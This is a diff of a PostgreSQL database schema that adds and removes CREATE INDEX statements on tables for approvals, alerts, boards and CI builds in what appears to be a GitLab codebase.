+CREATE INDEX idx_repository_states_on_last_wiki_verification_ran_at ON project_repository_states USING btree (project_id, last_wiki_verification_ran_at) WHERE ((wiki_verification_checksum IS NOT NULL) AND (last_wiki_verification_failure IS NULL));
+
+CREATE INDEX idx_repository_states_on_repository_failure_partial ON project_repository_states USING btree (last_repository_verification_failure) WHERE (last_repository_verification_failure IS NOT NULL);
+
+CREATE INDEX idx_repository_states_on_wiki_failure_partial ON project_repository_states USING btree (last_wiki_verification_failure) WHERE (last_wiki_verification_failure IS NOT NULL);
+
+CREATE INDEX idx_repository_states_outdated_checksums ON project_repository_states USING btree (project_id) WHERE (((repository_verification_checksum IS NULL) AND (last_repository_verification_failure IS NULL)) OR ((wiki_verification_checksum IS NULL) AND (last_wiki_verification_failure IS NULL)));
+
+CREATE UNIQUE INDEX idx_security_scans_on_build_and_scan_type ON security_scans USING btree (build_id, scan_type);
+
+CREATE INDEX idx_security_scans_on_scan_type ON security_scans USING btree (scan_type);
+
+CREATE UNIQUE INDEX idx_serverless_domain_cluster_on_clusters_applications_knative ON serverless_domain_cluster USING btree (clusters_applications_knative_id);
+
+CREATE UNIQUE INDEX idx_vulnerability_issue_links_on_vulnerability_id_and_issue_id ON vulnerability_issue_links USING btree (vulnerability_id, issue_id);
+
+CREATE UNIQUE INDEX idx_vulnerability_issue_links_on_vulnerability_id_and_link_type ON vulnerability_issue_links USING btree (vulnerability_id, link_type) WHERE (link_type = 2);
+
+CREATE INDEX index_abuse_reports_on_user_id ON abuse_reports USING btree (user_id);
-CREATE INDEX analytics_index_events_on_created_at_and_author_id ON public.events USING btree (created_at, author_id);
+CREATE INDEX index_alert_assignees_on_alert_id ON alert_management_alert_assignees USING btree (alert_id);
-CREATE INDEX analytics_repository_languages_on_project_id ON public.analytics_language_trend_repository_languages USING btree (project_id);
+CREATE UNIQUE INDEX index_alert_assignees_on_user_id_and_alert_id ON alert_management_alert_assignees USING btree (user_id, alert_id);
-CREATE UNIQUE INDEX analytics_repository_languages_unique_index ON public.analytics_language_trend_repository_languages USING btree (programming_language_id, project_id, snapshot_date);
+CREATE INDEX index_alert_management_alerts_on_environment_id ON alert_management_alerts USING btree (environment_id) WHERE (environment_id IS NOT NULL);
-CREATE UNIQUE INDEX any_approver_merge_request_rule_type_unique_index ON public.approval_merge_request_rules USING btree (merge_request_id, rule_type) WHERE (rule_type = 4);
+CREATE INDEX index_alert_management_alerts_on_issue_id ON alert_management_alerts USING btree (issue_id);
-CREATE UNIQUE INDEX any_approver_project_rule_type_unique_index ON public.approval_project_rules USING btree (project_id) WHERE (rule_type = 3);
+CREATE UNIQUE INDEX index_alert_management_alerts_on_project_id_and_iid ON alert_management_alerts USING btree (project_id, iid);
-CREATE UNIQUE INDEX approval_rule_name_index_for_code_owners ON public.approval_merge_request_rules USING btree (merge_request_id, code_owner, name) WHERE ((code_owner = true) AND (section IS NULL));
+CREATE INDEX index_alert_management_alerts_on_prometheus_alert_id ON alert_management_alerts USING btree (prometheus_alert_id) WHERE (prometheus_alert_id IS NOT NULL);
-CREATE UNIQUE INDEX backup_labels_group_id_project_id_title_idx ON public.backup_labels USING btree (group_id, project_id, title);
+CREATE UNIQUE INDEX index_alert_user_mentions_on_alert_id ON alert_management_alert_user_mentions USING btree (alert_management_alert_id) WHERE (note_id IS NULL);
-CREATE INDEX backup_labels_group_id_title_idx ON public.backup_labels USING btree (group_id, title) WHERE (project_id = NULL::integer);
+CREATE UNIQUE INDEX index_alert_user_mentions_on_alert_id_and_note_id ON alert_management_alert_user_mentions USING btree (alert_management_alert_id, note_id);
-CREATE INDEX backup_labels_project_id_idx ON public.backup_labels USING btree (project_id);
+CREATE UNIQUE INDEX index_alert_user_mentions_on_note_id ON alert_management_alert_user_mentions USING btree (note_id) WHERE (note_id IS NOT NULL);
-CREATE UNIQUE INDEX backup_labels_project_id_title_idx ON public.backup_labels USING btree (project_id, title) WHERE (group_id = NULL::integer);
+CREATE INDEX index_alerts_service_data_on_service_id ON alerts_service_data USING btree (service_id);
-CREATE INDEX backup_labels_template_idx ON public.backup_labels USING btree (template) WHERE template;
+CREATE INDEX index_allowed_email_domains_on_group_id ON allowed_email_domains USING btree (group_id);
-CREATE INDEX backup_labels_title_idx ON public.backup_labels USING btree (title);
+CREATE INDEX index_analytics_ca_group_stages_on_end_event_label_id ON analytics_cycle_analytics_group_stages USING btree (end_event_label_id);
-CREATE INDEX backup_labels_type_project_id_idx ON public.backup_labels USING btree (type, project_id);
+CREATE INDEX index_analytics_ca_group_stages_on_group_id ON analytics_cycle_analytics_group_stages USING btree (group_id);
-CREATE INDEX ci_builds_gitlab_monitor_metrics ON public.ci_builds USING btree (status, created_at, project_id) WHERE ((type)::text = 'Ci::Build'::text);
+CREATE INDEX index_analytics_ca_group_stages_on_relative_position ON analytics_cycle_analytics_group_stages USING btree (relative_position);
-CREATE INDEX code_owner_approval_required ON public.protected_branches USING btree (project_id, code_owner_approval_required) WHERE (code_owner_approval_required = true);
+CREATE INDEX index_analytics_ca_group_stages_on_start_event_label_id ON analytics_cycle_analytics_group_stages USING btree (start_event_label_id);
-CREATE INDEX commit_id_and_note_id_index ON public.commit_user_mentions USING btree (commit_id, note_id);
+CREATE INDEX index_analytics_ca_group_stages_on_value_stream_id ON analytics_cycle_analytics_group_stages USING btree (group_value_stream_id);
-CREATE UNIQUE INDEX design_management_designs_versions_uniqueness ON public.design_management_designs_versions USING btree (design_id, version_id);
+CREATE UNIQUE INDEX index_analytics_ca_group_value_streams_on_group_id_and_name ON analytics_cycle_analytics_group_value_streams USING btree (group_id, name);
-CREATE INDEX design_user_mentions_on_design_id_and_note_id_index ON public.design_user_mentions USING btree (design_id, note_id);
+CREATE INDEX index_analytics_ca_project_stages_on_end_event_label_id ON analytics_cycle_analytics_project_stages USING btree (end_event_label_id);
-CREATE UNIQUE INDEX epic_user_mentions_on_epic_id_and_note_id_index ON public.epic_user_mentions USING btree (epic_id, note_id);
+CREATE INDEX index_analytics_ca_project_stages_on_project_id ON analytics_cycle_analytics_project_stages USING btree (project_id);
-CREATE UNIQUE INDEX epic_user_mentions_on_epic_id_index ON public.epic_user_mentions USING btree (epic_id) WHERE (note_id IS NULL);
+CREATE UNIQUE INDEX index_analytics_ca_project_stages_on_project_id_and_name ON analytics_cycle_analytics_project_stages USING btree (project_id, name);
-CREATE INDEX idx_ci_pipelines_artifacts_locked ON public.ci_pipelines USING btree (ci_ref_id, id) WHERE (locked = 1);
+CREATE INDEX index_analytics_ca_project_stages_on_relative_position ON analytics_cycle_analytics_project_stages USING btree (relative_position);
-CREATE INDEX idx_deployment_clusters_on_cluster_id_and_kubernetes_namespace ON public.deployment_clusters USING btree (cluster_id, kubernetes_namespace);
+CREATE INDEX index_analytics_ca_project_stages_on_start_event_label_id ON analytics_cycle_analytics_project_stages USING btree (start_event_label_id);
-CREATE UNIQUE INDEX idx_deployment_merge_requests_unique_index ON public.deployment_merge_requests USING btree (deployment_id, merge_request_id);
+CREATE INDEX index_analytics_cycle_analytics_group_stages_custom_only ON analytics_cycle_analytics_group_stages USING btree (id) WHERE (custom = true);
-CREATE UNIQUE INDEX idx_environment_merge_requests_unique_index ON public.deployment_merge_requests USING btree (environment_id, merge_request_id);
+CREATE INDEX index_application_settings_on_custom_project_templates_group_id ON application_settings USING btree (custom_project_templates_group_id);
-CREATE INDEX idx_geo_con_rep_updated_events_on_container_repository_id ON public.geo_container_repository_updated_events USING btree (container_repository_id);
+CREATE INDEX index_application_settings_on_file_template_project_id ON application_settings USING btree (file_template_project_id);
-CREATE INDEX idx_issues_on_health_status_not_null ON public.issues USING btree (health_status) WHERE (health_status IS NOT NULL);
+CREATE INDEX index_application_settings_on_instance_administrators_group_id ON application_settings USING btree (instance_administrators_group_id);
-CREATE INDEX idx_issues_on_project_id_and_created_at_and_id_and_state_id ON public.issues USING btree (project_id, created_at, id, state_id);
+CREATE UNIQUE INDEX index_application_settings_on_push_rule_id ON application_settings USING btree (push_rule_id);
-CREATE INDEX idx_issues_on_project_id_and_due_date_and_id_and_state_id ON public.issues USING btree (project_id, due_date, id, state_id) WHERE (due_date IS NOT NULL);
+CREATE INDEX index_application_settings_on_usage_stats_set_by_user_id ON application_settings USING btree (usage_stats_set_by_user_id);
-CREATE INDEX idx_issues_on_project_id_and_rel_position_and_state_id_and_id ON public.issues USING btree (project_id, relative_position, state_id, id DESC);
+CREATE INDEX index_applicationsettings_on_instance_administration_project_id ON application_settings USING btree (instance_administration_project_id);
-CREATE INDEX idx_issues_on_project_id_and_updated_at_and_id_and_state_id ON public.issues USING btree (project_id, updated_at, id, state_id);
+CREATE UNIQUE INDEX index_approval_merge_request_rule_sources_1 ON approval_merge_request_rule_sources USING btree (approval_merge_request_rule_id);
-CREATE INDEX idx_issues_on_state_id ON public.issues USING btree (state_id);
+CREATE INDEX index_approval_merge_request_rule_sources_2 ON approval_merge_request_rule_sources USING btree (approval_project_rule_id);
-CREATE INDEX idx_jira_connect_subscriptions_on_installation_id ON public.jira_connect_subscriptions USING btree (jira_connect_installation_id);
+CREATE UNIQUE INDEX index_approval_merge_request_rules_approved_approvers_1 ON approval_merge_request_rules_approved_approvers USING btree (approval_merge_request_rule_id, user_id);
-CREATE UNIQUE INDEX idx_jira_connect_subscriptions_on_installation_id_namespace_id ON public.jira_connect_subscriptions USING btree (jira_connect_installation_id, namespace_id);
+CREATE INDEX index_approval_merge_request_rules_approved_approvers_2 ON approval_merge_request_rules_approved_approvers USING btree (user_id);
-CREATE INDEX idx_merge_requests_on_id_and_merge_jid ON public.merge_requests USING btree (id, merge_jid) WHERE ((merge_jid IS NOT NULL) AND (state_id = 4));
+CREATE UNIQUE INDEX index_approval_merge_request_rules_groups_1 ON approval_merge_request_rules_groups USING btree (approval_merge_request_rule_id, group_id);
-CREATE INDEX idx_merge_requests_on_source_project_and_branch_state_opened ON public.merge_requests USING btree (source_project_id, source_branch) WHERE (state_id = 1);
+CREATE INDEX index_approval_merge_request_rules_groups_2 ON approval_merge_request_rules_groups USING btree (group_id);
-CREATE INDEX idx_merge_requests_on_state_id_and_merge_status ON public.merge_requests USING btree (state_id, merge_status) WHERE ((state_id = 1) AND ((merge_status)::text = 'can_be_merged'::text));
+CREATE UNIQUE INDEX index_approval_merge_request_rules_users_1 ON approval_merge_request_rules_users USING btree (approval_merge_request_rule_id, user_id);
-CREATE INDEX idx_merge_requests_on_target_project_id_and_iid_opened ON public.merge_requests USING btree (target_project_id, iid) WHERE (state_id = 1);
+CREATE INDEX index_approval_merge_request_rules_users_2 ON approval_merge_request_rules_users USING btree (user_id);
-CREATE INDEX idx_merge_requests_on_target_project_id_and_locked_state ON public.merge_requests USING btree (target_project_id) WHERE (state_id = 4);
+CREATE UNIQUE INDEX index_approval_project_rules_groups_1 ON approval_project_rules_groups USING btree (approval_project_rule_id, group_id);
-CREATE UNIQUE INDEX idx_metrics_users_starred_dashboard_on_user_project_dashboard ON public.metrics_users_starred_dashboards USING btree (user_id, project_id, dashboard_path);
+CREATE INDEX index_approval_project_rules_groups_2 ON approval_project_rules_groups USING btree (group_id);
-CREATE INDEX idx_mr_cc_diff_files_on_mr_cc_id_and_sha ON public.merge_request_context_commit_diff_files USING btree (merge_request_context_commit_id, sha);
+CREATE INDEX index_approval_project_rules_on_project_id ON approval_project_rules USING btree (project_id);
-CREATE INDEX idx_packages_packages_on_project_id_name_version_package_type ON public.packages_packages USING btree (project_id, name, version, package_type);
+CREATE INDEX index_approval_project_rules_on_rule_type ON approval_project_rules USING btree (rule_type);
-CREATE UNIQUE INDEX idx_pkgs_dep_links_on_pkg_id_dependency_id_dependency_type ON public.packages_dependency_links USING btree (package_id, dependency_id, dependency_type);
+CREATE INDEX index_approval_project_rules_protected_branches_pb_id ON approval_project_rules_protected_branches USING btree (protected_branch_id);
-CREATE INDEX idx_proj_feat_usg_on_jira_dvcs_cloud_last_sync_at_and_proj_id ON public.project_feature_usages USING btree (jira_dvcs_cloud_last_sync_at, project_id) WHERE (jira_dvcs_cloud_last_sync_at IS NOT NULL);
+CREATE UNIQUE INDEX index_approval_project_rules_protected_branches_unique ON approval_project_rules_protected_branches USING btree (approval_project_rule_id, protected_branch_id);
-CREATE INDEX idx_proj_feat_usg_on_jira_dvcs_server_last_sync_at_and_proj_id ON public.project_feature_usages USING btree (jira_dvcs_server_last_sync_at, project_id) WHERE (jira_dvcs_server_last_sync_at IS NOT NULL);
+CREATE UNIQUE INDEX index_approval_project_rules_users_1 ON approval_project_rules_users USING btree (approval_project_rule_id, user_id);
-CREATE UNIQUE INDEX idx_project_id_payload_key_self_managed_prometheus_alert_events ON public.self_managed_prometheus_alert_events USING btree (project_id, payload_key);
+CREATE INDEX index_approval_project_rules_users_2 ON approval_project_rules_users USING btree (user_id);
-CREATE INDEX idx_project_repository_check_partial ON public.projects USING btree (repository_storage, created_at) WHERE (last_repository_check_at IS NULL);
+CREATE UNIQUE INDEX index_approval_rule_name_for_code_owners_rule_type ON approval_merge_request_rules USING btree (merge_request_id, name) WHERE ((rule_type = 2) AND (section IS NULL));
-CREATE INDEX idx_projects_id_created_at_disable_overriding_approvers_false ON public.projects USING btree (id, created_at) WHERE ((disable_overriding_approvers_per_merge_request = false) OR (disable_overriding_approvers_per_merge_request IS NULL));
+CREATE UNIQUE INDEX index_approval_rule_name_for_sectional_code_owners_rule_type ON approval_merge_request_rules USING btree (merge_request_id, name, section) WHERE (rule_type = 2);
-CREATE INDEX idx_projects_id_created_at_disable_overriding_approvers_true ON public.projects USING btree (id, created_at) WHERE (disable_overriding_approvers_per_merge_request = true);
+CREATE INDEX index_approval_rules_code_owners_rule_type ON approval_merge_request_rules USING btree (merge_request_id) WHERE (rule_type = 2);
-CREATE INDEX idx_projects_on_repository_storage_last_repository_updated_at ON public.projects USING btree (id, repository_storage, last_repository_updated_at);
+CREATE INDEX index_approvals_on_merge_request_id ON approvals USING btree (merge_request_id);
-CREATE INDEX idx_repository_states_on_last_repository_verification_ran_at ON public.project_repository_states USING btree (project_id, last_repository_verification_ran_at) WHERE ((repository_verification_checksum IS NOT NULL) AND (last_repository_verification_failure IS NULL));
+CREATE UNIQUE INDEX index_approvals_on_user_id_and_merge_request_id ON approvals USING btree (user_id, merge_request_id);
-CREATE INDEX idx_repository_states_on_last_wiki_verification_ran_at ON public.project_repository_states USING btree (project_id, last_wiki_verification_ran_at) WHERE ((wiki_verification_checksum IS NOT NULL) AND (last_wiki_verification_failure IS NULL));
+CREATE INDEX index_approver_groups_on_group_id ON approver_groups USING btree (group_id);
-CREATE INDEX idx_repository_states_on_repository_failure_partial ON public.project_repository_states USING btree (last_repository_verification_failure) WHERE (last_repository_verification_failure IS NOT NULL);
+CREATE INDEX index_approver_groups_on_target_id_and_target_type ON approver_groups USING btree (target_id, target_type);
-CREATE INDEX idx_repository_states_on_wiki_failure_partial ON public.project_repository_states USING btree (last_wiki_verification_failure) WHERE (last_wiki_verification_failure IS NOT NULL);
+CREATE INDEX index_approvers_on_target_id_and_target_type ON approvers USING btree (target_id, target_type);
-CREATE INDEX idx_repository_states_outdated_checksums ON public.project_repository_states USING btree (project_id) WHERE (((repository_verification_checksum IS NULL) AND (last_repository_verification_failure IS NULL)) OR ((wiki_verification_checksum IS NULL) AND (last_wiki_verification_failure IS NULL)));
+CREATE INDEX index_approvers_on_user_id ON approvers USING btree (user_id);
-CREATE UNIQUE INDEX idx_security_scans_on_build_and_scan_type ON public.security_scans USING btree (build_id, scan_type);
+CREATE UNIQUE INDEX index_atlassian_identities_on_extern_uid ON atlassian_identities USING btree (extern_uid);
-CREATE INDEX idx_security_scans_on_scan_type ON public.security_scans USING btree (scan_type);
+CREATE INDEX index_authentication_events_on_provider ON authentication_events USING btree (provider);
-CREATE UNIQUE INDEX idx_serverless_domain_cluster_on_clusters_applications_knative ON public.serverless_domain_cluster USING btree (clusters_applications_knative_id);
+CREATE INDEX index_authentication_events_on_user_id ON authentication_events USING btree (user_id);
-CREATE UNIQUE INDEX idx_vulnerability_issue_links_on_vulnerability_id_and_issue_id ON public.vulnerability_issue_links USING btree (vulnerability_id, issue_id);
+CREATE INDEX index_award_emoji_on_awardable_type_and_awardable_id ON award_emoji USING btree (awardable_type, awardable_id);
-CREATE UNIQUE INDEX idx_vulnerability_issue_links_on_vulnerability_id_and_link_type ON public.vulnerability_issue_links USING btree (vulnerability_id, link_type) WHERE (link_type = 2);
+CREATE INDEX index_award_emoji_on_user_id_and_name ON award_emoji USING btree (user_id, name);
-CREATE INDEX index_abuse_reports_on_user_id ON public.abuse_reports USING btree (user_id);
+CREATE UNIQUE INDEX index_aws_roles_on_role_external_id ON aws_roles USING btree (role_external_id);
-CREATE INDEX index_alert_assignees_on_alert_id ON public.alert_management_alert_assignees USING btree (alert_id);
+CREATE UNIQUE INDEX index_aws_roles_on_user_id ON aws_roles USING btree (user_id);
-CREATE UNIQUE INDEX index_alert_assignees_on_user_id_and_alert_id ON public.alert_management_alert_assignees USING btree (user_id, alert_id);
+CREATE INDEX index_background_migration_jobs_for_partitioning_migrations ON background_migration_jobs USING btree (((arguments ->> 2))) WHERE (class_name = 'Gitlab::Database::PartitioningMigrationHelpers::BackfillPartitionedTable'::text);
-CREATE INDEX index_alert_management_alerts_on_environment_id ON public.alert_management_alerts USING btree (environment_id) WHERE (environment_id IS NOT NULL);
+CREATE INDEX index_background_migration_jobs_on_class_name_and_arguments ON background_migration_jobs USING btree (class_name, arguments);
-CREATE INDEX index_alert_management_alerts_on_issue_id ON public.alert_management_alerts USING btree (issue_id);
+CREATE INDEX index_background_migration_jobs_on_class_name_and_status_and_id ON background_migration_jobs USING btree (class_name, status, id);
-CREATE UNIQUE INDEX index_alert_management_alerts_on_project_id_and_iid ON public.alert_management_alerts USING btree (project_id, iid);
+CREATE INDEX index_badges_on_group_id ON badges USING btree (group_id);
-CREATE INDEX index_alert_management_alerts_on_prometheus_alert_id ON public.alert_management_alerts USING btree (prometheus_alert_id) WHERE (prometheus_alert_id IS NOT NULL);
+CREATE INDEX index_badges_on_project_id ON badges USING btree (project_id);
-CREATE UNIQUE INDEX index_alert_user_mentions_on_alert_id ON public.alert_management_alert_user_mentions USING btree (alert_management_alert_id) WHERE (note_id IS NULL);
+CREATE INDEX index_board_assignees_on_assignee_id ON board_assignees USING btree (assignee_id);
-CREATE UNIQUE INDEX index_alert_user_mentions_on_alert_id_and_note_id ON public.alert_management_alert_user_mentions USING btree (alert_management_alert_id, note_id);
+CREATE UNIQUE INDEX index_board_assignees_on_board_id_and_assignee_id ON board_assignees USING btree (board_id, assignee_id);
-CREATE UNIQUE INDEX index_alert_user_mentions_on_note_id ON public.alert_management_alert_user_mentions USING btree (note_id) WHERE (note_id IS NOT NULL);
+CREATE INDEX index_board_group_recent_visits_on_board_id ON board_group_recent_visits USING btree (board_id);
-CREATE INDEX index_alerts_service_data_on_service_id ON public.alerts_service_data USING btree (service_id);
+CREATE INDEX index_board_group_recent_visits_on_group_id ON board_group_recent_visits USING btree (group_id);
-CREATE INDEX index_allowed_email_domains_on_group_id ON public.allowed_email_domains USING btree (group_id);
+CREATE UNIQUE INDEX index_board_group_recent_visits_on_user_group_and_board ON board_group_recent_visits USING btree (user_id, group_id, board_id);
-CREATE INDEX index_analytics_ca_group_stages_on_end_event_label_id ON public.analytics_cycle_analytics_group_stages USING btree (end_event_label_id);
+CREATE INDEX index_board_group_recent_visits_on_user_id ON board_group_recent_visits USING btree (user_id);
-CREATE INDEX index_analytics_ca_group_stages_on_group_id ON public.analytics_cycle_analytics_group_stages USING btree (group_id);
+CREATE UNIQUE INDEX index_board_labels_on_board_id_and_label_id ON board_labels USING btree (board_id, label_id);
-CREATE INDEX index_analytics_ca_group_stages_on_relative_position ON public.analytics_cycle_analytics_group_stages USING btree (relative_position);
+CREATE INDEX index_board_labels_on_label_id ON board_labels USING btree (label_id);
-CREATE INDEX index_analytics_ca_group_stages_on_start_event_label_id ON public.analytics_cycle_analytics_group_stages USING btree (start_event_label_id);
+CREATE INDEX index_board_project_recent_visits_on_board_id ON board_project_recent_visits USING btree (board_id);
-CREATE INDEX index_analytics_ca_group_stages_on_value_stream_id ON public.analytics_cycle_analytics_group_stages USING btree (group_value_stream_id);
+CREATE INDEX index_board_project_recent_visits_on_project_id ON board_project_recent_visits USING btree (project_id);
-CREATE UNIQUE INDEX index_analytics_ca_group_value_streams_on_group_id_and_name ON public.analytics_cycle_analytics_group_value_streams USING btree (group_id, name);
+CREATE INDEX index_board_project_recent_visits_on_user_id ON board_project_recent_visits USING btree (user_id);
-CREATE INDEX index_analytics_ca_project_stages_on_end_event_label_id ON public.analytics_cycle_analytics_project_stages USING btree (end_event_label_id);
+CREATE UNIQUE INDEX index_board_project_recent_visits_on_user_project_and_board ON board_project_recent_visits USING btree (user_id, project_id, board_id);
-CREATE INDEX index_analytics_ca_project_stages_on_project_id ON public.analytics_cycle_analytics_project_stages USING btree (project_id);
+CREATE INDEX index_board_user_preferences_on_board_id ON board_user_preferences USING btree (board_id);
-CREATE UNIQUE INDEX index_analytics_ca_project_stages_on_project_id_and_name ON public.analytics_cycle_analytics_project_stages USING btree (project_id, name);
+CREATE INDEX index_board_user_preferences_on_user_id ON board_user_preferences USING btree (user_id);
-CREATE INDEX index_analytics_ca_project_stages_on_relative_position ON public.analytics_cycle_analytics_project_stages USING btree (relative_position);
+CREATE UNIQUE INDEX index_board_user_preferences_on_user_id_and_board_id ON board_user_preferences USING btree (user_id, board_id);
-CREATE INDEX index_analytics_ca_project_stages_on_start_event_label_id ON public.analytics_cycle_analytics_project_stages USING btree (start_event_label_id);
+CREATE INDEX index_boards_epic_user_preferences_on_board_id ON boards_epic_user_preferences USING btree (board_id);
-CREATE INDEX index_analytics_cycle_analytics_group_stages_custom_only ON public.analytics_cycle_analytics_group_stages USING btree (id) WHERE (custom = true);
+CREATE UNIQUE INDEX index_boards_epic_user_preferences_on_board_user_epic_unique ON boards_epic_user_preferences USING btree (board_id, user_id, epic_id);
-CREATE INDEX index_application_settings_on_custom_project_templates_group_id ON public.application_settings USING btree (custom_project_templates_group_id);
+CREATE INDEX index_boards_epic_user_preferences_on_epic_id ON boards_epic_user_preferences USING btree (epic_id);
-CREATE INDEX index_application_settings_on_file_template_project_id ON public.application_settings USING btree (file_template_project_id);
+CREATE INDEX index_boards_epic_user_preferences_on_user_id ON boards_epic_user_preferences USING btree (user_id);
-CREATE INDEX index_application_settings_on_instance_administrators_group_id ON public.application_settings USING btree (instance_administrators_group_id);
+CREATE INDEX index_boards_on_group_id ON boards USING btree (group_id);
-CREATE UNIQUE INDEX index_application_settings_on_push_rule_id ON public.application_settings USING btree (push_rule_id);
+CREATE INDEX index_boards_on_milestone_id ON boards USING btree (milestone_id);
-CREATE INDEX index_application_settings_on_usage_stats_set_by_user_id ON public.application_settings USING btree (usage_stats_set_by_user_id);
+CREATE INDEX index_boards_on_project_id ON boards USING btree (project_id);
-CREATE INDEX index_applicationsettings_on_instance_administration_project_id ON public.application_settings USING btree (instance_administration_project_id);
+CREATE INDEX index_broadcast_message_on_ends_at_and_broadcast_type_and_id ON broadcast_messages USING btree (ends_at, broadcast_type, id);
-CREATE UNIQUE INDEX index_approval_merge_request_rule_sources_1 ON public.approval_merge_request_rule_sources USING btree (approval_merge_request_rule_id);
+CREATE UNIQUE INDEX index_chat_names_on_service_id_and_team_id_and_chat_id ON chat_names USING btree (service_id, team_id, chat_id);
-CREATE INDEX index_approval_merge_request_rule_sources_2 ON public.approval_merge_request_rule_sources USING btree (approval_project_rule_id);
+CREATE UNIQUE INDEX index_chat_names_on_user_id_and_service_id ON chat_names USING btree (user_id, service_id);
-CREATE INDEX index_approval_merge_request_rules_1 ON public.approval_merge_request_rules USING btree (merge_request_id, code_owner);
+CREATE UNIQUE INDEX index_chat_teams_on_namespace_id ON chat_teams USING btree (namespace_id);
-CREATE UNIQUE INDEX index_approval_merge_request_rules_approved_approvers_1 ON public.approval_merge_request_rules_approved_approvers USING btree (approval_merge_request_rule_id, user_id);
+CREATE UNIQUE INDEX index_ci_build_needs_on_build_id_and_name ON ci_build_needs USING btree (build_id, name);
-CREATE INDEX index_approval_merge_request_rules_approved_approvers_2 ON public.approval_merge_request_rules_approved_approvers USING btree (user_id);
+CREATE UNIQUE INDEX index_ci_build_pending_states_on_build_id ON ci_build_pending_states USING btree (build_id);
-CREATE UNIQUE INDEX index_approval_merge_request_rules_groups_1 ON public.approval_merge_request_rules_groups USING btree (approval_merge_request_rule_id, group_id);
+CREATE INDEX index_ci_build_report_results_on_project_id ON ci_build_report_results USING btree (project_id);
-CREATE INDEX index_approval_merge_request_rules_groups_2 ON public.approval_merge_request_rules_groups USING btree (group_id);
+CREATE UNIQUE INDEX index_ci_build_trace_chunks_on_build_id_and_chunk_index ON ci_build_trace_chunks USING btree (build_id, chunk_index);
-CREATE UNIQUE INDEX index_approval_merge_request_rules_users_1 ON public.approval_merge_request_rules_users USING btree (approval_merge_request_rule_id, user_id);
+CREATE UNIQUE INDEX index_ci_build_trace_section_names_on_project_id_and_name ON ci_build_trace_section_names USING btree (project_id, name);
-CREATE INDEX index_approval_merge_request_rules_users_2 ON public.approval_merge_request_rules_users USING btree (user_id);
+CREATE UNIQUE INDEX index_ci_build_trace_sections_on_build_id_and_section_name_id ON ci_build_trace_sections USING btree (build_id, section_name_id);
-CREATE UNIQUE INDEX index_approval_project_rules_groups_1 ON public.approval_project_rules_groups USING btree (approval_project_rule_id, group_id);
+CREATE INDEX index_ci_build_trace_sections_on_project_id ON ci_build_trace_sections USING btree (project_id);
-CREATE INDEX index_approval_project_rules_groups_2 ON public.approval_project_rules_groups USING btree (group_id);
+CREATE INDEX index_ci_build_trace_sections_on_section_name_id ON ci_build_trace_sections USING btree (section_name_id);
-CREATE INDEX index_approval_project_rules_on_project_id ON public.approval_project_rules USING btree (project_id);
+CREATE UNIQUE INDEX index_ci_builds_metadata_on_build_id ON ci_builds_metadata USING btree (build_id);
-CREATE INDEX index_approval_project_rules_on_rule_type ON public.approval_project_rules USING btree (rule_type);
+CREATE INDEX index_ci_builds_metadata_on_build_id_and_has_exposed_artifacts ON ci_builds_metadata USING btree (build_id) WHERE (has_exposed_artifacts IS TRUE);
-CREATE INDEX index_approval_project_rules_protected_branches_pb_id ON public.approval_project_rules_protected_branches USING btree (protected_branch_id);
+CREATE INDEX index_ci_builds_metadata_on_build_id_and_interruptible ON ci_builds_metadata USING btree (build_id) WHERE (interruptible = true);
-CREATE UNIQUE INDEX index_approval_project_rules_protected_branches_unique ON public.approval_project_rules_protected_branches USING btree (approval_project_rule_id, protected_branch_id);
+CREATE INDEX index_ci_builds_metadata_on_project_id ON ci_builds_metadata USING btree (project_id);
-CREATE UNIQUE INDEX index_approval_project_rules_users_1 ON public.approval_project_rules_users USING btree (approval_project_rule_id, user_id);
+CREATE INDEX index_ci_builds_on_artifacts_expire_at ON ci_builds USING btree (artifacts_expire_at) WHERE (artifacts_file <> ''::text);
-CREATE INDEX index_approval_project_rules_users_2 ON public.approval_project_rules_users USING btree (user_id);
+CREATE INDEX index_ci_builds_on_auto_canceled_by_id ON ci_builds USING btree (auto_canceled_by_id);
-CREATE UNIQUE INDEX index_approval_rule_name_for_code_owners_rule_type ON public.approval_merge_request_rules USING btree (merge_request_id, name) WHERE ((rule_type = 2) AND (section IS NULL));
+CREATE INDEX index_ci_builds_on_commit_id_and_stage_idx_and_created_at ON ci_builds USING btree (commit_id, stage_idx, created_at);
-CREATE UNIQUE INDEX index_approval_rule_name_for_sectional_code_owners_rule_type ON public.approval_merge_request_rules USING btree (merge_request_id, name, section) WHERE (rule_type = 2);
+CREATE INDEX index_ci_builds_on_commit_id_and_status_and_type ON ci_builds USING btree (commit_id, status, type);
-CREATE INDEX index_approval_rules_code_owners_rule_type ON public.approval_merge_request_rules USING btree (merge_request_id) WHERE (rule_type = 2);
+CREATE INDEX index_ci_builds_on_commit_id_and_type_and_name_and_ref ON ci_builds USING btree (commit_id, type, name, ref);
-CREATE INDEX index_approvals_on_merge_request_id ON public.approvals USING btree (merge_request_id);
+CREATE INDEX index_ci_builds_on_commit_id_and_type_and_ref ON ci_builds USING btree (commit_id, type, ref);
-CREATE UNIQUE INDEX index_approvals_on_user_id_and_merge_request_id ON public.approvals USING btree (user_id, merge_request_id);
+CREATE INDEX index_ci_builds_on_commit_id_artifacts_expired_at_and_id ON ci_builds USING btree (commit_id, artifacts_expire_at, id) WHERE (((type)::text = 'Ci::Build'::text) AND ((retried = false) OR (retried IS NULL)) AND ((name)::text = ANY (ARRAY[('sast'::character varying)::text, ('secret_detection'::character varying)::text, ('dependency_scanning'::character varying)::text, ('container_scanning'::character varying)::text, ('dast'::character varying)::text])));
-CREATE INDEX index_approver_groups_on_group_id ON public.approver_groups USING btree (group_id);
+CREATE INDEX index_ci_builds_on_project_id_and_id ON ci_builds USING btree (project_id, id);
-CREATE INDEX index_approver_groups_on_target_id_and_target_type ON public.approver_groups USING btree (target_id, target_type);
+CREATE INDEX index_ci_builds_on_project_id_and_name_and_ref ON ci_builds USING btree (project_id, name, ref) WHERE (((type)::text = 'Ci::Build'::text) AND ((status)::text = 'success'::text) AND ((retried = false) OR (retried IS NULL)));
-CREATE INDEX index_approvers_on_target_id_and_target_type ON public.approvers USING btree (target_id, target_type);
+CREATE INDEX index_ci_builds_on_project_id_for_successfull_pages_deploy ON ci_builds USING btree (project_id) WHERE (((type)::text = 'GenericCommitStatus'::text) AND ((stage)::text = 'deploy'::text) AND ((name)::text = 'pages:deploy'::text) AND ((status)::text = 'success'::text));
-CREATE INDEX index_approvers_on_user_id ON public.approvers USING btree (user_id);
+CREATE INDEX index_ci_builds_on_protected ON ci_builds USING btree (protected);
